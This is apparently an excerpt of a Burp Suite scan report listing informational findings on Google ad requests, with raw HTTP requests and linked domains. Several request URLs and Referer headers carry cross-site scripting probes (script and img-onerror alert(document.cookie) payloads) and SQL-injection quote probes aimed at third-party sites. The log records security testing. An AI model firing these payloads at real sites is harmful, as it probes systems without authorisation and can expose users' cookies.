GET /pagead/ads?client=ca-pub-0813152173226346&output=html&h=60&slotname=3865030659&w=468&lmt=1296964160&flash=10.1.103&hl=en&url=http%3A%2F%2Fwww.orthougm.com%2F&dt=1296942560320&shv=r20101117&jsv=r20110120&saldr=1&prev_slotnames=8833934355%2C8094259765&correlator=1296942560294&frm=0&adk=2257162608&ga_vid=429166960.1296942499&ga_sid=1296942499&ga_hid=1263121855&ga_fc=1&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=969&bih=1012&ref=http%3A%2F%2Fwww.orthougm.com%2Fnslookup.html&fu=0&ifi=3&dtd=3&xpc=dnlnsmkeRR&p=http%3A//www.orthougm.com HTTP/1.1
Host: googleads.g.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.orthougm.com/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|2818894/957634/15009,2409535/850532/15008,189445/526157/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

20.32. http://googleads.g.doubleclick.net/pagead/ads previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://googleads.g.doubleclick.net
Path:	/pagead/ads

Issue detail

The page was loaded from a URL containing a query string:

http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-8946084125644802&output=html&h=90&slotname=6016247947&w=728&lmt=1296965214&flash=10.1.103&url=http%3A%2F%2Fwww.linuxsecurity.com%2Fadvisories%2F%3F1'%3D1&dt=1296945312746&shv=r20101117&jsv=r20110120&saldr=1&correlator=1296945312778&frm=0&adk=864348956&ga_vid=34780583.1296945313&ga_sid=1296945313&ga_hid=717362596&ga_fc=0&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=985&bih=1012&ref=http%3A%2F%2Fburp%2Fshow%2F23&fu=0&ifi=1&dtd=57&xpc=vdGRkAhlGv&p=http%3A//www.linuxsecurity.com

The response contains the following links to other domains:

http://pagead2.googlesyndication.com/pagead/abglogo/abg-en-100c-ffffff.png
http://pagead2.googlesyndication.com/pagead/images/i.png
http://pagead2.googlesyndication.com/pagead/js/abg.js
http://pagead2.googlesyndication.com/pagead/js/graphics.js
http://www.google.com/url?ct=abg&q=https://www.google.com/adsense/support/bin/request.py%3Fcontact%3Dabg_afc%26url%3Dhttp://www.linuxsecurity.com/advisories/%253F1%2527%253D1%26hl%3Den%26client%3Dca-pub-8946084125644802%26adU%3DAVG.com%26adT%3DImageAd%26gl%3DUS&usg=AFQjCNF99bedB-_iD60oZJWuvRWDxRX3PA

Request

GET /pagead/ads?client=ca-pub-8946084125644802&output=html&h=90&slotname=6016247947&w=728&lmt=1296965214&flash=10.1.103&url=http%3A%2F%2Fwww.linuxsecurity.com%2Fadvisories%2F%3F1'%3D1&dt=1296945312746&shv=r20101117&jsv=r20110120&saldr=1&correlator=1296945312778&frm=0&adk=864348956&ga_vid=34780583.1296945313&ga_sid=1296945313&ga_hid=717362596&ga_fc=0&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=985&bih=1012&ref=http%3A%2F%2Fburp%2Fshow%2F23&fu=0&ifi=1&dtd=57&xpc=vdGRkAhlGv&p=http%3A//www.linuxsecurity.com HTTP/1.1
Host: googleads.g.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.linuxsecurity.com/advisories/?1'=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

20.33. http://googleads.g.doubleclick.net/pagead/ads previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://googleads.g.doubleclick.net
Path:	/pagead/ads

Issue detail

The page was loaded from a URL containing a query string:

http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5112821747420583&format=336x280_as&output=html&h=280&w=336&lmt=1296965239&channel=2020812945&ad_type=text_image&alt_color=EFF3F7&color_bg=EFF3F7&color_border=EFF3F7&color_link=2490D2&color_text=000000&color_url=5C5C5C&flash=10.1.103&url=http%3A%2F%2Fwww.filetransit.com%2Fdemo.php%3F6e3f0%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E6896f2e55e7%3D1&dt=1296943639602&shv=r20101117&jsv=r20110120&saldr=1&correlator=1296943639668&frm=0&adk=871793777&ga_vid=245785467.1296943640&ga_sid=1296943640&ga_hid=2142492519&ga_fc=0&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=969&bih=1012&ref=http%3A%2F%2Fburp%2Fshow%2F7&fu=0&ifi=1&dtd=733&xpc=RXi4H1HczE&p=http%3A//www.filetransit.com

The response contains the following links to other domains:

http://pagead2.googlesyndication.com/pagead/abglogo/abg-en-100c-ffffff.png
http://pagead2.googlesyndication.com/pagead/images/i.png
http://pagead2.googlesyndication.com/pagead/js/abg.js
http://pagead2.googlesyndication.com/pagead/js/graphics.js
http://www.google.com/url?ct=abg&q=https://www.google.com/adsense/support/bin/request.py%3Fcontact%3Dabg_afc%26url%3Dhttp://www.filetransit.com/demo.php%253F6e3f0%252522%25253E%25253Cscript%25253Ealert(document.cookie)%25253C/script%25253E6896f2e55e7%253D1%26hl%3Den%26client%3Dca-pub-5112821747420583%26adU%3DWideAngleSoftware.com%26adT%3DImageAd%26gl%3DUS&usg=AFQjCNHeDO8Z3qHKB7GwyjUNtU2To2QsnA

Request

GET /pagead/ads?client=ca-pub-5112821747420583&format=336x280_as&output=html&h=280&w=336&lmt=1296965239&channel=2020812945&ad_type=text_image&alt_color=EFF3F7&color_bg=EFF3F7&color_border=EFF3F7&color_link=2490D2&color_text=000000&color_url=5C5C5C&flash=10.1.103&url=http%3A%2F%2Fwww.filetransit.com%2Fdemo.php%3F6e3f0%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E6896f2e55e7%3D1&dt=1296943639602&shv=r20101117&jsv=r20110120&saldr=1&correlator=1296943639668&frm=0&adk=871793777&ga_vid=245785467.1296943640&ga_sid=1296943640&ga_hid=2142492519&ga_fc=0&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=969&bih=1012&ref=http%3A%2F%2Fburp%2Fshow%2F7&fu=0&ifi=1&dtd=733&xpc=RXi4H1HczE&p=http%3A//www.filetransit.com HTTP/1.1
Host: googleads.g.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.filetransit.com/demo.php?6e3f0%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E6896f2e55e7=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

20.34. http://googleads.g.doubleclick.net/pagead/ads previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://googleads.g.doubleclick.net
Path:	/pagead/ads

Issue detail

The page was loaded from a URL containing a query string:

http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-7272189955621553&output=html&h=600&slotname=9195027970&w=160&lmt=1297030534&flash=10.1.103&url=http%3A%2F%2Fwww.chattino.com%2F&dt=1297008934469&shv=r20101117&jsv=r20110120&saldr=1&correlator=1297008934508&frm=0&adk=3667154245&ga_vid=673818716.1297008935&ga_sid=1297008935&ga_hid=594813066&ga_fc=0&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=-12245933&bih=-12245933&ifk=3656033325&eid=30143102&ref=http%3A%2F%2Fwww.kledy.eu%2F%3Ff0d30%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E31ed3e6c6d3%3D1&fu=0&ifi=1&dtd=61&xpc=T86TK7HLZs&p=http%3A//www.chattino.com

The response contains the following links to other domains:

http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab
http://pagead2.googlesyndication.com/pagead/abglogo/abg-en-100c-ffffff.png
http://pagead2.googlesyndication.com/pagead/images/i.png
http://pagead2.googlesyndication.com/pagead/imgad?id=CK29_L3q8p3_lwEQoAEY2AQyCEtjbovzJBaM
http://pagead2.googlesyndication.com/pagead/js/abg.js
http://pagead2.googlesyndication.com/pagead/js/graphics.js
http://www.google.com/url?ct=abg&q=https://www.google.com/adsense/support/bin/request.py%3Fcontact%3Dabg_afc%26url%3Dhttp://www.chattino.com/%26hl%3Den%26client%3Dca-pub-7272189955621553%26adU%3Dwww.Zoosk.com%26adT%3DImageAd%26gl%3DUS&usg=AFQjCNE-bXzp2qb-hPwUnFZSGGsE_GPDsA

Request

GET /pagead/ads?client=ca-pub-7272189955621553&output=html&h=600&slotname=9195027970&w=160&lmt=1297030534&flash=10.1.103&url=http%3A%2F%2Fwww.chattino.com%2F&dt=1297008934469&shv=r20101117&jsv=r20110120&saldr=1&correlator=1297008934508&frm=0&adk=3667154245&ga_vid=673818716.1297008935&ga_sid=1297008935&ga_hid=594813066&ga_fc=0&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=-12245933&bih=-12245933&ifk=3656033325&eid=30143102&ref=http%3A%2F%2Fwww.kledy.eu%2F%3Ff0d30%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E31ed3e6c6d3%3D1&fu=0&ifi=1&dtd=61&xpc=T86TK7HLZs&p=http%3A//www.chattino.com HTTP/1.1
Host: googleads.g.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.chattino.com/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

20.35. http://googleads.g.doubleclick.net/pagead/ads previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://googleads.g.doubleclick.net
Path:	/pagead/ads

Issue detail

The page was loaded from a URL containing a query string:

http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-8946084125644802&output=html&h=125&slotname=5202253988&w=125&lmt=1296965214&flash=10.1.103&url=http%3A%2F%2Fwww.linuxsecurity.com%2Fadvisories%2F%3F1'%3D1&dt=1296945317991&shv=r20101117&jsv=r20110120&saldr=1&prev_slotnames=6016247947%2C1903810917%2C9269327071&correlator=1296945312778&frm=0&adk=3603086798&ga_vid=34780583.1296945313&ga_sid=1296945313&ga_hid=717362596&ga_fc=0&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=969&bih=1012&ref=http%3A%2F%2Fburp%2Fshow%2F23&fu=0&ifi=4&dtd=12&xpc=Ajy2phkRwM&p=http%3A//www.linuxsecurity.com

The response contains the following links to other domains:

http://pagead2.googlesyndication.com/pagead/abglogo/abg-en-100c-000000.png
http://pagead2.googlesyndication.com/pagead/js/graphics.js
http://pagead2.googlesyndication.com/pagead/sma8.js
http://www.google.com/url?ct=abg&q=https://www.google.com/adsense/support/bin/request.py%3Fcontact%3Dabg_afc%26url%3Dhttp://www.linuxsecurity.com/advisories/%253F1%2527%253D1%26hl%3Den%26client%3Dca-pub-8946084125644802%26adU%3Dwww.manageengine.com%26adT%3DMonitoring%2BTool%26gl%3DUS&usg=AFQjCNEPPZ4XopeYRnUSjFwqFCn7o-B7hA

Request

GET /pagead/ads?client=ca-pub-8946084125644802&output=html&h=125&slotname=5202253988&w=125&lmt=1296965214&flash=10.1.103&url=http%3A%2F%2Fwww.linuxsecurity.com%2Fadvisories%2F%3F1'%3D1&dt=1296945317991&shv=r20101117&jsv=r20110120&saldr=1&prev_slotnames=6016247947%2C1903810917%2C9269327071&correlator=1296945312778&frm=0&adk=3603086798&ga_vid=34780583.1296945313&ga_sid=1296945313&ga_hid=717362596&ga_fc=0&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=969&bih=1012&ref=http%3A%2F%2Fburp%2Fshow%2F23&fu=0&ifi=4&dtd=12&xpc=Ajy2phkRwM&p=http%3A//www.linuxsecurity.com HTTP/1.1
Host: googleads.g.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.linuxsecurity.com/advisories/?1'=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

20.36. http://googleads.g.doubleclick.net/pagead/ads previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://googleads.g.doubleclick.net
Path:	/pagead/ads

Issue detail

The page was loaded from a URL containing a query string:

http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-7272189955621553&output=html&h=600&slotname=8462304150&w=160&lmt=1297034082&flash=10.1.103&url=http%3A%2F%2Fwww.peppernews.eu%2F%3Fd7d65%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Ef6336f06cd4%3D1&dt=1297012482065&shv=r20101117&jsv=r20110120&saldr=1&prev_slotnames=0592282731%2C9367507615&correlator=1297012476891&frm=0&adk=1000119101&ga_vid=659626106.1297012477&ga_sid=1297012477&ga_hid=354845991&ga_fc=0&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=985&bih=1031&ref=http%3A%2F%2Fburp%2Fshow%2F96&fu=0&ifi=3&dtd=32&xpc=1p4425UFdX&p=http%3A//www.peppernews.eu

The response contains the following links to other domains:

http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab
http://pagead2.googlesyndication.com/pagead/abglogo/abg-en-100c-ffffff.png
http://pagead2.googlesyndication.com/pagead/images/i.png
http://pagead2.googlesyndication.com/pagead/imgad?id=CMaf1-r3gpTcWRCgARjYBDIIEekrH6l-atk
http://pagead2.googlesyndication.com/pagead/js/abg.js
http://pagead2.googlesyndication.com/pagead/js/graphics.js
http://www.google.com/url?ct=abg&q=https://www.google.com/adsense/support/bin/request.py%3Fcontact%3Dabg_afc%26url%3Dhttp://www.peppernews.eu/%253Fd7d65%252522%25253E%25253Cscript%25253Ealert(document.cookie)%25253C/script%25253Ef6336f06cd4%253D1%26hl%3Den%26client%3Dca-pub-7272189955621553%26adU%3Dwww.openecry.com%26adT%3DImageAd%26gl%3DUS&usg=AFQjCNFzu9gKShk0fQdIIOPh2IMD2kXdVA

Request

GET /pagead/ads?client=ca-pub-7272189955621553&output=html&h=600&slotname=8462304150&w=160&lmt=1297034082&flash=10.1.103&url=http%3A%2F%2Fwww.peppernews.eu%2F%3Fd7d65%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Ef6336f06cd4%3D1&dt=1297012482065&shv=r20101117&jsv=r20110120&saldr=1&prev_slotnames=0592282731%2C9367507615&correlator=1297012476891&frm=0&adk=1000119101&ga_vid=659626106.1297012477&ga_sid=1297012477&ga_hid=354845991&ga_fc=0&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=985&bih=1031&ref=http%3A%2F%2Fburp%2Fshow%2F96&fu=0&ifi=3&dtd=32&xpc=1p4425UFdX&p=http%3A//www.peppernews.eu HTTP/1.1
Host: googleads.g.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.peppernews.eu/?d7d65%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ef6336f06cd4=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

20.37. http://googleads.g.doubleclick.net/pagead/ads previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://googleads.g.doubleclick.net
Path:	/pagead/ads

Issue detail

The page was loaded from a URL containing a query string:

http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-0813152173226346&output=html&h=90&slotname=8833934355&w=728&lmt=1296964099&flash=10.1.103&hl=en&url=http%3A%2F%2Fwww.orthougm.com%2Fnslookup.html&dt=1296942499303&shv=r20101117&jsv=r20110120&saldr=1&correlator=1296942499327&frm=0&adk=2006559315&ga_vid=429166960.1296942499&ga_sid=1296942499&ga_hid=1477141929&ga_fc=0&u_tz=-360&u_his=1&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=969&bih=1012&fu=0&ifi=1&dtd=86&xpc=QOVWXYWuzX&p=http%3A//www.orthougm.com

The response contains the following links to other domains:

http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab
http://pagead2.googlesyndication.com/pagead/abglogo/abg-en-100c-ffffff.png
http://pagead2.googlesyndication.com/pagead/images/i.png
http://pagead2.googlesyndication.com/pagead/imgad?id=CK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg
http://pagead2.googlesyndication.com/pagead/js/abg.js
http://pagead2.googlesyndication.com/pagead/js/graphics.js
http://www.google.com/url?ct=abg&q=https://www.google.com/adsense/support/bin/request.py%3Fcontact%3Dabg_afc%26url%3Dhttp://www.orthougm.com/nslookup.html%26hl%3Den%26client%3Dca-pub-0813152173226346%26adU%3Dwww.splunk.com/unixandlinux%26adT%3DImageAd%26gl%3DUS&usg=AFQjCNFmcbNspZQ-2pahKZphfsqXl89FIQ

Request

GET /pagead/ads?client=ca-pub-0813152173226346&output=html&h=90&slotname=8833934355&w=728&lmt=1296964099&flash=10.1.103&hl=en&url=http%3A%2F%2Fwww.orthougm.com%2Fnslookup.html&dt=1296942499303&shv=r20101117&jsv=r20110120&saldr=1&correlator=1296942499327&frm=0&adk=2006559315&ga_vid=429166960.1296942499&ga_sid=1296942499&ga_hid=1477141929&ga_fc=0&u_tz=-360&u_his=1&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=969&bih=1012&fu=0&ifi=1&dtd=86&xpc=QOVWXYWuzX&p=http%3A//www.orthougm.com HTTP/1.1
Host: googleads.g.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.orthougm.com/nslookup.html
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|2818894/957634/15009,2409535/850532/15008,189445/526157/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

20.38. http://googleads.g.doubleclick.net/pagead/ads previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://googleads.g.doubleclick.net
Path:	/pagead/ads

Issue detail

The page was loaded from a URL containing a query string:

http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-8946084125644802&output=html&h=125&slotname=5202253988&w=125&lmt=1296965214&flash=10.1.103&url=http%3A%2F%2Fwww.linuxsecurity.com%2Fadvisories%2F%3F1'%3D1&dt=1296948930183&shv=r20101117&jsv=r20110120&saldr=1&prev_slotnames=0073536787%2C1903810917%2C9269327071&correlator=1296948926937&frm=0&adk=3603086798&ga_vid=34780583.1296945313&ga_sid=1296948927&ga_hid=475020872&ga_fc=1&u_tz=-360&u_his=4&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=969&bih=1012&ref=http%3A%2F%2Fburp%2Fshow%2F39&fu=0&ifi=4&dtd=9&xpc=0QVURhvDdO&p=http%3A//www.linuxsecurity.com

The response contains the following links to other domains:

http://pagead2.googlesyndication.com/pagead/abglogo/abg-en-100c-000000.png
http://pagead2.googlesyndication.com/pagead/js/graphics.js
http://pagead2.googlesyndication.com/pagead/sma8.js
http://www.google.com/url?ct=abg&q=https://www.google.com/adsense/support/bin/request.py%3Fcontact%3Dabg_afc%26url%3Dhttp://www.linuxsecurity.com/advisories/%253F1%2527%253D1%26hl%3Den%26client%3Dca-pub-8946084125644802%26adU%3Dtechnet.microsoft.com/en-us/cloud%26adT%3DMicrosoft%2BCloud%2BComputing%26gl%3DUS&usg=AFQjCNHiuhIXL6JLsGnOC4_vbmNmCKonlA

Request

GET /pagead/ads?client=ca-pub-8946084125644802&output=html&h=125&slotname=5202253988&w=125&lmt=1296965214&flash=10.1.103&url=http%3A%2F%2Fwww.linuxsecurity.com%2Fadvisories%2F%3F1'%3D1&dt=1296948930183&shv=r20101117&jsv=r20110120&saldr=1&prev_slotnames=0073536787%2C1903810917%2C9269327071&correlator=1296948926937&frm=0&adk=3603086798&ga_vid=34780583.1296945313&ga_sid=1296948927&ga_hid=475020872&ga_fc=1&u_tz=-360&u_his=4&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=969&bih=1012&ref=http%3A%2F%2Fburp%2Fshow%2F39&fu=0&ifi=4&dtd=9&xpc=0QVURhvDdO&p=http%3A//www.linuxsecurity.com HTTP/1.1
Host: googleads.g.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.linuxsecurity.com/advisories/?1'=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

20.39. http://googleads.g.doubleclick.net/pagead/ads previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://googleads.g.doubleclick.net
Path:	/pagead/ads

Issue detail

The page was loaded from a URL containing a query string:

http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-0813152173226346&output=html&h=90&slotname=8833934355&w=728&lmt=1296964141&flash=10.1.103&hl=en&url=http%3A%2F%2Fwww.orthougm.com%2Fnslookup.html&dt=1296942541001&shv=r20101117&jsv=r20110120&saldr=1&correlator=1296942541039&frm=0&adk=2006559315&ga_vid=429166960.1296942499&ga_sid=1296942499&ga_hid=1376755848&ga_fc=1&u_tz=-360&u_his=1&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=969&bih=1012&fu=0&ifi=1&dtd=93&xpc=9j3hG0KXe7&p=http%3A//www.orthougm.com

The response contains the following links to other domains:

http://pagead2.googlesyndication.com/pagead/abglogo/abg-en-100c-000000.png
http://pagead2.googlesyndication.com/pagead/sma8.js
http://www.google.com/url?ct=abg&q=https://www.google.com/adsense/support/bin/request.py%3Fcontact%3Dabg_afc%26url%3Dhttp://www.orthougm.com/nslookup.html%26hl%3Den%26client%3Dca-pub-0813152173226346%26adU%3Dwww.manageengine.com/admanagerplus%26adT%3DWindows%2BActive%2BDirectory%26adU%3DPromotions.newegg.com/B2B%26adT%3DHP%2BServer%2BNow%2Bon%2BSale%26adU%3Dwww.Appro.com%26adT%3DIntel%2BXeon%2BBlade%2BServers%26gl%3DUS&usg=AFQjCNE5oT0Oqo3nJERdBlBqU6oNlZG08g

Request

GET /pagead/ads?client=ca-pub-0813152173226346&output=html&h=90&slotname=8833934355&w=728&lmt=1296964141&flash=10.1.103&hl=en&url=http%3A%2F%2Fwww.orthougm.com%2Fnslookup.html&dt=1296942541001&shv=r20101117&jsv=r20110120&saldr=1&correlator=1296942541039&frm=0&adk=2006559315&ga_vid=429166960.1296942499&ga_sid=1296942499&ga_hid=1376755848&ga_fc=1&u_tz=-360&u_his=1&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=969&bih=1012&fu=0&ifi=1&dtd=93&xpc=9j3hG0KXe7&p=http%3A//www.orthougm.com HTTP/1.1
Host: googleads.g.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.orthougm.com/nslookup.html
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|2818894/957634/15009,2409535/850532/15008,189445/526157/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

20.40. http://googleads.g.doubleclick.net/pagead/ads previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://googleads.g.doubleclick.net
Path:	/pagead/ads

Issue detail

The page was loaded from a URL containing a query string:

http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-0081280489252772&format=336x280_as&output=html&h=280&w=336&lmt=1296964060&ad_type=text_image&alt_color=FFFFFF&color_bg=FFFFFF&color_border=FFFFFF&color_link=6DA6E2&color_text=000000&color_url=6DA6E2&flash=10.1.103&url=http%3A%2F%2Fdriverbyte.com%2Fdownload-ga-81845gv-gigabyte-vga-driver_freedownload72968%2522%253E%253Cimg%2520src%253da%2520onerror%253dalert(document.cookie)%253Ea36cb148e37&dt=1296942768949&shv=r20101117&jsv=r20110120&saldr=1&correlator=1296942768997&frm=0&adk=1546415748&ga_vid=1705664041.1296942769&ga_sid=1296942769&ga_hid=735303343&ga_fc=0&ga_wpids=UA-15084858-2&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=985&bih=1012&ref=http%3A%2F%2Fburp%2Fshow%2F0&fu=0&ifi=1&dtd=121&xpc=vKPPSCn5KS&p=http%3A//driverbyte.com

The response contains the following links to other domains:

http://pagead2.googlesyndication.com/pagead/abglogo/abg-en-100c-ffffff.png
http://pagead2.googlesyndication.com/pagead/images/i.png
http://pagead2.googlesyndication.com/pagead/js/abg.js
http://pagead2.googlesyndication.com/pagead/js/graphics.js
http://www.google.com/url?ct=abg&q=https://www.google.com/adsense/support/bin/request.py%3Fcontact%3Dabg_afc%26url%3Dhttp://driverbyte.com/download-ga-81845gv-gigabyte-vga-driver_freedownload72968%252522%25253E%25253Cimg%252520src%25253Da%252520onerror%25253Dalert(document.cookie)%25253Ea36cb148e37%26hl%3Den%26client%3Dca-pub-0081280489252772%26adU%3DAC97.DriverFinderPro.com%26adT%3DImageAd%26gl%3DUS&usg=AFQjCNHIYzPl29MU6pr3PXWWJwKO30x_2A

